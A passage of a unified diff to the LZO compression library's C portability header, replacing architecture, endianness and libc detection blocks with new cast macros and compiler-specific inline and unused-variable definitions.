-#endif
-#if (LZO_CFG_NO_LONG_LONG) || defined(__NO_LONG_LONG)
-# undef LZO_SIZEOF_LONG_LONG
-#endif
-#if !defined(LZO_SIZEOF_VOID_P)
-#if (LZO_ARCH_I086)
-# define __LZO_WORDSIZE 2
-# if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM)
-# define LZO_SIZEOF_VOID_P 2
-# elif (LZO_MM_COMPACT || LZO_MM_LARGE || LZO_MM_HUGE)
-# define LZO_SIZEOF_VOID_P 4
-# else
-# error "LZO_MM"
-# endif
-#elif (LZO_ARCH_AVR || LZO_ARCH_Z80)
-# define __LZO_WORDSIZE 1
-# define LZO_SIZEOF_VOID_P 2
-#elif (LZO_ARCH_C166 || LZO_ARCH_MCS51 || LZO_ARCH_MCS251 || LZO_ARCH_MSP430)
-# define LZO_SIZEOF_VOID_P 2
-#elif (LZO_ARCH_H8300)
-# if defined(__NORMAL_MODE__)
-# define __LZO_WORDSIZE 4
-# define LZO_SIZEOF_VOID_P 2
-# elif defined(__H8300H__) || defined(__H8300S__) || defined(__H8300SX__)
-# define __LZO_WORDSIZE 4
-# define LZO_SIZEOF_VOID_P 4
-# else
-# define __LZO_WORDSIZE 2
-# define LZO_SIZEOF_VOID_P 2
-# endif
-# if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x040000ul)) && (LZO_SIZEOF_INT == 4)
-# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_INT
-# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_INT
-# endif
-#elif (LZO_ARCH_M16C)
-# define __LZO_WORDSIZE 2
-# if defined(__m32c_cpu__) || defined(__m32cm_cpu__)
-# define LZO_SIZEOF_VOID_P 4
-# else
-# define LZO_SIZEOF_VOID_P 2
-# endif
-#elif (LZO_SIZEOF_LONG == 8) && ((defined(__mips__) && defined(__R5900__)) || defined(__MIPS_PSX2__))
-# define __LZO_WORDSIZE 8
-# define LZO_SIZEOF_VOID_P 4
-#elif defined(__LLP64__) || defined(__LLP64) || defined(_LLP64) || defined(_WIN64)
-# define __LZO_WORDSIZE 8
-# define LZO_SIZEOF_VOID_P 8
-#elif (LZO_OS_OS400 || defined(__OS400__)) && defined(__LLP64_IFC__)
-# define LZO_SIZEOF_VOID_P LZO_SIZEOF_LONG
-# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG
-# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG
-#elif (LZO_OS_OS400 || defined(__OS400__))
-# define __LZO_WORDSIZE LZO_SIZEOF_LONG
-# define LZO_SIZEOF_VOID_P 16
-# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG
-# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG
-#elif (defined(__vms) || defined(__VMS)) && (__INITIAL_POINTER_SIZE+0 == 64)
-# define LZO_SIZEOF_VOID_P 8
-# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_LONG
-# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_LONG
-#elif (LZO_ARCH_SPU)
-# if 0
-# define __LZO_WORDSIZE 16
-# endif
-# define LZO_SIZEOF_VOID_P 4
-#else
-# define LZO_SIZEOF_VOID_P LZO_SIZEOF_LONG
-#endif
-#endif
-#if !defined(LZO_WORDSIZE)
-# if defined(__LZO_WORDSIZE)
-# define LZO_WORDSIZE __LZO_WORDSIZE
-# else
-# define LZO_WORDSIZE LZO_SIZEOF_VOID_P
-# endif
-#endif
-#if !defined(LZO_SIZEOF_SIZE_T)
-#if (LZO_ARCH_I086 || LZO_ARCH_M16C)
-# define LZO_SIZEOF_SIZE_T 2
-#else
-# define LZO_SIZEOF_SIZE_T LZO_SIZEOF_VOID_P
-#endif
-#endif
-#if !defined(LZO_SIZEOF_PTRDIFF_T)
-#if (LZO_ARCH_I086)
-# if (LZO_MM_TINY || LZO_MM_SMALL || LZO_MM_MEDIUM || LZO_MM_HUGE)
-# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_VOID_P
-# elif (LZO_MM_COMPACT || LZO_MM_LARGE)
-# if (LZO_CC_BORLANDC || LZO_CC_TURBOC)
-# define LZO_SIZEOF_PTRDIFF_T 4
-# else
-# define LZO_SIZEOF_PTRDIFF_T 2
-# endif
-# else
-# error "LZO_MM"
-# endif
-#else
-# define LZO_SIZEOF_PTRDIFF_T LZO_SIZEOF_SIZE_T
-#endif
-#endif
-#if (LZO_ABI_NEUTRAL_ENDIAN)
-# undef LZO_ABI_BIG_ENDIAN
-# undef LZO_ABI_LITTLE_ENDIAN
-#elif !(LZO_ABI_BIG_ENDIAN) && !(LZO_ABI_LITTLE_ENDIAN)
-#if (LZO_ARCH_ALPHA) && (LZO_ARCH_CRAY_MPP)
-# define LZO_ABI_BIG_ENDIAN 1
-#elif (LZO_ARCH_IA64) && (LZO_OS_POSIX_LINUX || LZO_OS_WIN64)
-# define LZO_ABI_LITTLE_ENDIAN 1
-#elif (LZO_ARCH_ALPHA || LZO_ARCH_AMD64 || LZO_ARCH_BLACKFIN || LZO_ARCH_CRIS || LZO_ARCH_I086 || LZO_ARCH_I386 || LZO_ARCH_MSP430)
-# define LZO_ABI_LITTLE_ENDIAN 1
-#elif (LZO_ARCH_AVR32 || LZO_ARCH_M68K || LZO_ARCH_S390)
-# define LZO_ABI_BIG_ENDIAN 1
-#elif 1 && defined(__IAR_SYSTEMS_ICC__) && defined(__LITTLE_ENDIAN__)
-# if (__LITTLE_ENDIAN__ == 1)
-# define LZO_ABI_LITTLE_ENDIAN 1
-# else
-# define LZO_ABI_BIG_ENDIAN 1
-# endif
-#elif 1 && defined(__BIG_ENDIAN__) && !defined(__LITTLE_ENDIAN__)
-# define LZO_ABI_BIG_ENDIAN 1
-#elif 1 && defined(__LITTLE_ENDIAN__) && !defined(__BIG_ENDIAN__)
-# define LZO_ABI_LITTLE_ENDIAN 1
-#elif 1 && (LZO_ARCH_ARM) && defined(__ARMEB__) && !defined(__ARMEL__)
-# define LZO_ABI_BIG_ENDIAN 1
-#elif 1 && (LZO_ARCH_ARM) && defined(__ARMEL__) && !defined(__ARMEB__)
-# define LZO_ABI_LITTLE_ENDIAN 1
-#elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEB__) && !defined(__MIPSEL__)
-# define LZO_ABI_BIG_ENDIAN 1
-#elif 1 && (LZO_ARCH_MIPS) && defined(__MIPSEL__) && !defined(__MIPSEB__)
-# define LZO_ABI_LITTLE_ENDIAN 1
-#endif
-#endif
-#if (LZO_ABI_BIG_ENDIAN) && (LZO_ABI_LITTLE_ENDIAN)
-# error "this should not happen"
-#endif
-#if (LZO_ABI_BIG_ENDIAN)
-# define LZO_INFO_ABI_ENDIAN "be"
-#elif (LZO_ABI_LITTLE_ENDIAN)
-# define LZO_INFO_ABI_ENDIAN "le"
-#elif (LZO_ABI_NEUTRAL_ENDIAN)
-# define LZO_INFO_ABI_ENDIAN "neutral"
-#endif
-#if (LZO_SIZEOF_INT == 1 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2)
-# define LZO_ABI_I8LP16 1
-# define LZO_INFO_ABI_PM "i8lp16"
-#elif (LZO_SIZEOF_INT == 2 && LZO_SIZEOF_LONG == 2 && LZO_SIZEOF_VOID_P == 2)
-# define LZO_ABI_ILP16 1
-# define LZO_INFO_ABI_PM "ilp16"
-#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 4)
-# define LZO_ABI_ILP32 1
-# define LZO_INFO_ABI_PM "ilp32"
-#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 4 && LZO_SIZEOF_VOID_P == 8 && LZO_SIZEOF_SIZE_T == 8)
-# define LZO_ABI_LLP64 1
-# define LZO_INFO_ABI_PM "llp64"
-#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8)
-# define LZO_ABI_LP64 1
-# define LZO_INFO_ABI_PM "lp64"
-#elif (LZO_SIZEOF_INT == 8 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 8)
-# define LZO_ABI_ILP64 1
-# define LZO_INFO_ABI_PM "ilp64"
-#elif (LZO_SIZEOF_INT == 4 && LZO_SIZEOF_LONG == 8 && LZO_SIZEOF_VOID_P == 4)
-# define LZO_ABI_IP32L64 1
-# define LZO_INFO_ABI_PM "ip32l64"
-#endif
-#if !defined(__LZO_LIBC_OVERRIDE)
-#if (LZO_LIBC_NAKED)
-# define LZO_INFO_LIBC "naked"
-#elif (LZO_LIBC_FREESTANDING)
-# define LZO_INFO_LIBC "freestanding"
-#elif (LZO_LIBC_MOSTLY_FREESTANDING)
-# define LZO_INFO_LIBC "mfreestanding"
-#elif (LZO_LIBC_ISOC90)
-# define LZO_INFO_LIBC "isoc90"
-#elif (LZO_LIBC_ISOC99)
-# define LZO_INFO_LIBC "isoc99"
-#elif defined(__dietlibc__)
-# define LZO_LIBC_DIETLIBC 1
-# define LZO_INFO_LIBC "dietlibc"
-#elif defined(_NEWLIB_VERSION)
-# define LZO_LIBC_NEWLIB 1
-# define LZO_INFO_LIBC "newlib"
-#elif defined(__UCLIBC__) && defined(__UCLIBC_MAJOR__) && defined(__UCLIBC_MINOR__)
-# if defined(__UCLIBC_SUBLEVEL__)
-# define LZO_LIBC_UCLIBC (__UCLIBC_MAJOR__ * 0x10000L + __UCLIBC_MINOR__ * 0x100 + __UCLIBC_SUBLEVEL__)
-# else
-# define LZO_LIBC_UCLIBC 0x00090bL
-# endif
-# define LZO_INFO_LIBC "uclibc"
-#elif defined(__GLIBC__) && defined(__GLIBC_MINOR__)
-# define LZO_LIBC_GLIBC (__GLIBC__ * 0x10000L + __GLIBC_MINOR__ * 0x100)
-# define LZO_INFO_LIBC "glibc"
-#elif (LZO_CC_MWERKS) && defined(__MSL__)
-# define LZO_LIBC_MSL __MSL__
-# define LZO_INFO_LIBC "msl"
-#elif 1 && defined(__IAR_SYSTEMS_ICC__)
-# define LZO_LIBC_ISOC90 1
-# define LZO_INFO_LIBC "isoc90"
-#else
-# define LZO_LIBC_DEFAULT 1
-# define LZO_INFO_LIBC "default"
-#endif
-#endif
#if !defined(__lzo_gnuc_extension__)
#if (LZO_CC_GNUC >= 0x020800ul)
# define __lzo_gnuc_extension__ __extension__
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define __lzo_gnuc_extension__ __extension__
+#elif (LZO_CC_IBMC >= 600)
# define __lzo_gnuc_extension__ __extension__
#else
+#endif
+#endif
+#if !defined(__lzo_gnuc_extension__)
# define __lzo_gnuc_extension__ /*empty*/
#endif
-#endif
-#if !defined(__lzo_ua_volatile)
-# define __lzo_ua_volatile volatile
-#endif
-#if !defined(__lzo_alignof)
-#if (LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI)
-# define __lzo_alignof(e) __alignof__(e)
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 700))
-# define __lzo_alignof(e) __alignof__(e)
-#elif (LZO_CC_MSC && (_MSC_VER >= 1300))
-# define __lzo_alignof(e) __alignof(e)
-#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC >= 0x5100))
-# define __lzo_alignof(e) __alignof__(e)
-#endif
-#endif
-#if defined(__lzo_alignof)
-# define __lzo_HAVE_alignof 1
-#endif
-#if !defined(__lzo_constructor)
-#if (LZO_CC_GNUC >= 0x030400ul)
-# define __lzo_constructor __attribute__((__constructor__,__used__))
-#elif (LZO_CC_GNUC >= 0x020700ul)
-# define __lzo_constructor __attribute__((__constructor__))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_constructor __attribute__((__constructor__))
-#endif
-#endif
-#if defined(__lzo_constructor)
-# define __lzo_HAVE_constructor 1
-#endif
-#if !defined(__lzo_destructor)
-#if (LZO_CC_GNUC >= 0x030400ul)
-# define __lzo_destructor __attribute__((__destructor__,__used__))
-#elif (LZO_CC_GNUC >= 0x020700ul)
-# define __lzo_destructor __attribute__((__destructor__))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_destructor __attribute__((__destructor__))
-#endif
-#endif
-#if defined(__lzo_destructor)
-# define __lzo_HAVE_destructor 1
-#endif
-#if (__lzo_HAVE_destructor) && !(__lzo_HAVE_constructor)
-# error "this should not happen"
-#endif
-#if !defined(__lzo_inline)
-#if (LZO_CC_TURBOC && (__TURBOC__ <= 0x0295))
-#elif defined(__cplusplus)
-# define __lzo_inline inline
-#elif (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0550))
-# define __lzo_inline __inline
-#elif (LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI)
-# define __lzo_inline __inline__
-#elif (LZO_CC_DMC)
-# define __lzo_inline __inline
-#elif (LZO_CC_INTELC)
-# define __lzo_inline __inline
-#elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x2405))
-# define __lzo_inline __inline
-#elif (LZO_CC_MSC && (_MSC_VER >= 900))
-# define __lzo_inline __inline
-#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC >= 0x5100))
-# define __lzo_inline __inline__
-#elif defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)
-# define __lzo_inline inline
-#endif
-#endif
-#if defined(__lzo_inline)
-# define __lzo_HAVE_inline 1
-#else
-# define __lzo_inline /*empty*/
-#endif
-#if !defined(__lzo_forceinline)
-#if (LZO_CC_GNUC >= 0x030200ul)
-# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 450) && LZO_CC_SYNTAX_MSC)
-# define __lzo_forceinline __forceinline
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 800) && LZO_CC_SYNTAX_GNUC)
-# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
-#elif (LZO_CC_MSC && (_MSC_VER >= 1200))
-# define __lzo_forceinline __forceinline
-#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC >= 0x5100))
-# define __lzo_forceinline __inline__ __attribute__((__always_inline__))
-#endif
-#endif
-#if defined(__lzo_forceinline)
-# define __lzo_HAVE_forceinline 1
-#else
-# define __lzo_forceinline /*empty*/
-#endif
-#if !defined(__lzo_noinline)
-#if 1 && (LZO_ARCH_I386) && (LZO_CC_GNUC >= 0x040000ul) && (LZO_CC_GNUC < 0x040003ul)
-# define __lzo_noinline __attribute__((__noinline__,__used__))
-#elif (LZO_CC_GNUC >= 0x030200ul)
-# define __lzo_noinline __attribute__((__noinline__))
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 600) && LZO_CC_SYNTAX_MSC)
-# define __lzo_noinline __declspec(noinline)
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 800) && LZO_CC_SYNTAX_GNUC)
-# define __lzo_noinline __attribute__((__noinline__))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_noinline __attribute__((__noinline__))
-#elif (LZO_CC_MSC && (_MSC_VER >= 1300))
-# define __lzo_noinline __declspec(noinline)
-#elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x3200) && (LZO_OS_WIN32 || LZO_OS_WIN64))
-# if defined(__cplusplus)
+#if !defined(LZO_CFG_USE_NEW_STYLE_CASTS) && defined(__cplusplus) && 0
+# if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul))
+# define LZO_CFG_USE_NEW_STYLE_CASTS 0
+# elif (LZO_CC_INTELC && (__INTEL_COMPILER < 1200))
+# define LZO_CFG_USE_NEW_STYLE_CASTS 0
# else
-# define __lzo_noinline __declspec(noinline)
+# define LZO_CFG_USE_NEW_STYLE_CASTS 1
# endif
-#elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC >= 0x5100))
-# define __lzo_noinline __attribute__((__noinline__))
#endif
+#if !defined(LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_CFG_USE_NEW_STYLE_CASTS 0
#endif
-#if defined(__lzo_noinline)
-# define __lzo_HAVE_noinline 1
-#else
-# define __lzo_noinline /*empty*/
+#if !defined(__cplusplus)
+# if defined(LZO_CFG_USE_NEW_STYLE_CASTS)
+# undef LZO_CFG_USE_NEW_STYLE_CASTS
+# endif
+# define LZO_CFG_USE_NEW_STYLE_CASTS 0
#endif
-#if (__lzo_HAVE_forceinline || __lzo_HAVE_noinline) && !(__lzo_HAVE_inline)
-# error "this should not happen"
+#if !defined(LZO_REINTERPRET_CAST)
+# if (LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_REINTERPRET_CAST(t,e) (reinterpret_cast<t> (e))
+# endif
#endif
-#if !defined(__lzo_noreturn)
-#if (LZO_CC_GNUC >= 0x020700ul)
-# define __lzo_noreturn __attribute__((__noreturn__))
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 450) && LZO_CC_SYNTAX_MSC)
-# define __lzo_noreturn __declspec(noreturn)
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 600) && LZO_CC_SYNTAX_GNUC)
-# define __lzo_noreturn __attribute__((__noreturn__))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_noreturn __attribute__((__noreturn__))
-#elif (LZO_CC_MSC && (_MSC_VER >= 1200))
-# define __lzo_noreturn __declspec(noreturn)
+#if !defined(LZO_REINTERPRET_CAST)
+# define LZO_REINTERPRET_CAST(t,e) ((t) (e))
#endif
+#if !defined(LZO_STATIC_CAST)
+# if (LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_STATIC_CAST(t,e) (static_cast<t> (e))
+# endif
#endif
-#if defined(__lzo_noreturn)
-# define __lzo_HAVE_noreturn 1
-#else
-# define __lzo_noreturn /*empty*/
+#if !defined(LZO_STATIC_CAST)
+# define LZO_STATIC_CAST(t,e) ((t) (e))
#endif
-#if !defined(__lzo_nothrow)
-#if (LZO_CC_GNUC >= 0x030300ul)
-# define __lzo_nothrow __attribute__((__nothrow__))
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 450) && LZO_CC_SYNTAX_MSC) && defined(__cplusplus)
-# define __lzo_nothrow __declspec(nothrow)
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 900) && LZO_CC_SYNTAX_GNUC)
-# define __lzo_nothrow __attribute__((__nothrow__))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_nothrow __attribute__((__nothrow__))
-#elif (LZO_CC_MSC && (_MSC_VER >= 1200)) && defined(__cplusplus)
-# define __lzo_nothrow __declspec(nothrow)
+#if !defined(LZO_STATIC_CAST2)
+# define LZO_STATIC_CAST2(t1,t2,e) LZO_STATIC_CAST(t1, LZO_STATIC_CAST(t2, e))
#endif
+#if !defined(LZO_UNCONST_CAST)
+# if (LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_UNCONST_CAST(t,e) (const_cast<t> (e))
+# elif (LZO_HAVE_MM_HUGE_PTR)
+# define LZO_UNCONST_CAST(t,e) ((t) (e))
+# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((lzo_uintptr_t) ((const void *) (e)))))
+# endif
#endif
-#if defined(__lzo_nothrow)
-# define __lzo_HAVE_nothrow 1
-#else
-# define __lzo_nothrow /*empty*/
+#if !defined(LZO_UNCONST_CAST)
+# define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((const void *) (e))))
#endif
-#if !defined(__lzo_restrict)
-#if (LZO_CC_GNUC >= 0x030400ul)
-# define __lzo_restrict __restrict__
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 600) && LZO_CC_SYNTAX_GNUC)
-# define __lzo_restrict __restrict__
-#elif (LZO_CC_CLANG || LZO_CC_LLVM)
-# define __lzo_restrict __restrict__
-#elif (LZO_CC_MSC && (_MSC_VER >= 1400))
-# define __lzo_restrict __restrict
+#if !defined(LZO_UNCONST_VOLATILE_CAST)
+# if (LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_UNCONST_VOLATILE_CAST(t,e) (const_cast<t> (e))
+# elif (LZO_HAVE_MM_HUGE_PTR)
+# define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) (e))
+# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) ((volatile void *) ((lzo_uintptr_t) ((volatile const void *) (e)))))
+# endif
#endif
+#if !defined(LZO_UNCONST_VOLATILE_CAST)
+# define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) ((volatile void *) ((volatile const void *) (e))))
#endif
-#if defined(__lzo_restrict)
-# define __lzo_HAVE_restrict 1
-#else
-# define __lzo_restrict /*empty*/
+#if !defined(LZO_UNVOLATILE_CAST)
+# if (LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_UNVOLATILE_CAST(t,e) (const_cast<t> (e))
+# elif (LZO_HAVE_MM_HUGE_PTR)
+# define LZO_UNVOLATILE_CAST(t,e) ((t) (e))
+# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define LZO_UNVOLATILE_CAST(t,e) ((t) ((void *) ((lzo_uintptr_t) ((volatile void *) (e)))))
+# endif
#endif
-#if !defined(__lzo_likely) && !defined(__lzo_unlikely)
-#if (LZO_CC_GNUC >= 0x030200ul)
-# define __lzo_likely(e) (__builtin_expect(!!(e),1))
-# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
-#elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 800))
-# define __lzo_likely(e) (__builtin_expect(!!(e),1))
-# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
-#elif (LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define __lzo_likely(e) (__builtin_expect(!!(e),1))
-# define __lzo_unlikely(e) (__builtin_expect(!!(e),0))
+#if !defined(LZO_UNVOLATILE_CAST)
+# define LZO_UNVOLATILE_CAST(t,e) ((t) ((void *) ((volatile void *) (e))))
#endif
+#if !defined(LZO_UNVOLATILE_CONST_CAST)
+# if (LZO_CFG_USE_NEW_STYLE_CASTS)
+# define LZO_UNVOLATILE_CONST_CAST(t,e) (const_cast<t> (e))
+# elif (LZO_HAVE_MM_HUGE_PTR)
+# define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) (e))
+# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
+# define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) ((const void *) ((lzo_uintptr_t) ((volatile const void *) (e)))))
+# endif
#endif
-#if defined(__lzo_likely)
-# define __lzo_HAVE_likely 1
-#else
-# define __lzo_likely(e) (e)
+#if !defined(LZO_UNVOLATILE_CONST_CAST)
+# define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) ((const void *) ((volatile const void *) (e))))
#endif
-#if defined(__lzo_unlikely)
-# define __lzo_HAVE_unlikely 1
-#else
-# define __lzo_unlikely(e) (e)
+#if !defined(LZO_PCAST)
+# if (LZO_HAVE_MM_HUGE_PTR)
+# define LZO_PCAST(t,e) ((t) (e))
+# endif
+#endif
+#if !defined(LZO_PCAST)
+# define LZO_PCAST(t,e) LZO_STATIC_CAST(t, LZO_STATIC_CAST(void *, e))
+#endif
+#if !defined(LZO_CCAST)
+# if (LZO_HAVE_MM_HUGE_PTR)
+# define LZO_CCAST(t,e) ((t) (e))
+# endif
+#endif
+#if !defined(LZO_CCAST)
+# define LZO_CCAST(t,e) LZO_STATIC_CAST(t, LZO_STATIC_CAST(const void *, e))
+#endif
+#if !defined(LZO_ICONV)
+# define LZO_ICONV(t,e) LZO_STATIC_CAST(t, e)
+#endif
+#if !defined(LZO_ICAST)
+# define LZO_ICAST(t,e) LZO_STATIC_CAST(t, e)
+#endif
+#if !defined(LZO_ITRUNC)
+# define LZO_ITRUNC(t,e) LZO_STATIC_CAST(t, e)
+#endif
+#if !defined(__lzo_cte)
+# if (LZO_CC_MSC || LZO_CC_WATCOMC)
+# define __lzo_cte(e) ((void)0,(e))
+# elif 1
+# define __lzo_cte(e) ((void)0,(e))
+# endif
+#endif
+#if !defined(__lzo_cte)
+# define __lzo_cte(e) (e)
+#endif
+#if !defined(LZO_BLOCK_BEGIN)
+# define LZO_BLOCK_BEGIN do {
+# define LZO_BLOCK_END } while __lzo_cte(0)
#endif
#if !defined(LZO_UNUSED)
# if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0600))
# define LZO_UNUSED(var) ((void) &var)
# elif (LZO_CC_BORLANDC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PELLESC || LZO_CC_TURBOC)
# define LZO_UNUSED(var) if (&var) ; else
+# elif (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x030200ul))
+# define LZO_UNUSED(var) ((void) &var)
# elif (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
# define LZO_UNUSED(var) ((void) var)
# elif (LZO_CC_MSC && (_MSC_VER < 900))
# define LZO_UNUSED(var) if (&var) ; else
# elif (LZO_CC_KEILC)
-# define LZO_UNUSED(var) {extern int __lzo_unused[1-2*!(sizeof(var)>0)];}
+# define LZO_UNUSED(var) {LZO_EXTERN_C int lzo_unused__[1-2*!(sizeof(var)>0)];}
# elif (LZO_CC_PACIFICC)
# define LZO_UNUSED(var) ((void) sizeof(var))
# elif (LZO_CC_WATCOMC) && defined(__cplusplus)
@@ -1590,18 +1377,18 @@
# elif (LZO_CC_MSC)
# define LZO_UNUSED_FUNC(func) ((void) &func)
# elif (LZO_CC_KEILC || LZO_CC_PELLESC)
-# define LZO_UNUSED_FUNC(func) {extern int __lzo_unused[1-2*!(sizeof((int)func)>0)];}
+# define LZO_UNUSED_FUNC(func) {LZO_EXTERN_C int lzo_unused_func__[1-2*!(sizeof((int)func)>0)];}
# else
# define LZO_UNUSED_FUNC(func) ((void) func)
# endif
#endif
#if !defined(LZO_UNUSED_LABEL)
-# if (LZO_CC_WATCOMC) && defined(__cplusplus)
-# define LZO_UNUSED_LABEL(l) switch(0) case 1:goto l
-# elif (LZO_CC_CLANG || LZO_CC_INTELC || LZO_CC_WATCOMC)
-# define LZO_UNUSED_LABEL(l) if (0) goto l
+# if (LZO_CC_CLANG >= 0x020800ul)
+# define LZO_UNUSED_LABEL(l) (__lzo_gnuc_extension__ ((void) ((const void *) &&l)))
+# elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_INTELC || LZO_CC_WATCOMC)
+# define LZO_UNUSED_LABEL(l) if __lzo_cte(0) goto l
# else
-# define LZO_UNUSED_LABEL(l) switch(0) case 1:goto l
+# define LZO_UNUSED_LABEL(l) switch (0) case 1:goto l
# endif
#endif
#if !defined(LZO_DEFINE_UNINITIALIZED_VAR)
@@ -1613,39 +1400,488 @@
# define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var = init
# endif
#endif
-#if !defined(LZO_UNCONST_CAST)
-# if 0 && defined(__cplusplus)
-# define LZO_UNCONST_CAST(t,e) (const_cast<t> (e))
-# elif (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE)
-# define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((char *) ((lzo_uintptr_t) ((const void *) (e))))))
-# else
-# define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((char *) ((const void *) (e)))))
+#if !defined(__lzo_inline)
+#if (LZO_CC_TURBOC && (__TURBOC__ <= 0x0295))
+#elif defined(__cplusplus)
+# define __lzo_inline inline
+#elif defined(__STDC_VERSION__) && (__STDC_VERSION__-0 >= 199901L)
+# define __lzo_inline inline
+#elif (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0550))
+# define __lzo_inline __inline
+#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI)
+# define __lzo_inline __inline__
+#elif (LZO_CC_DMC)
+# define __lzo_inline __inline
+#elif (LZO_CC_GHS)
+# define __lzo_inline __inline__
+#elif (LZO_CC_IBMC >= 600)
+# define __lzo_inline __inline__
+#elif (LZO_CC_INTELC)
+# define __lzo_inline __inline
+#elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x2405))
+# define __lzo_inline __inline
+#elif (LZO_CC_MSC && (_MSC_VER >= 900))
+# define __lzo_inline __inline
+#elif (LZO_CC_SUNPROC >= 0x5100)
+# define __lzo_inline __inline__
+#endif
+#endif
+#if defined(__lzo_inline)
+# ifndef __lzo_HAVE_inline
+# define __lzo_HAVE_inline 1
# endif
+#else
+# define __lzo_inline /*empty*/
+#endif
+#if !defined(__lzo_forceinline)
+#if (LZO_CC_GNUC >= 0x030200ul)
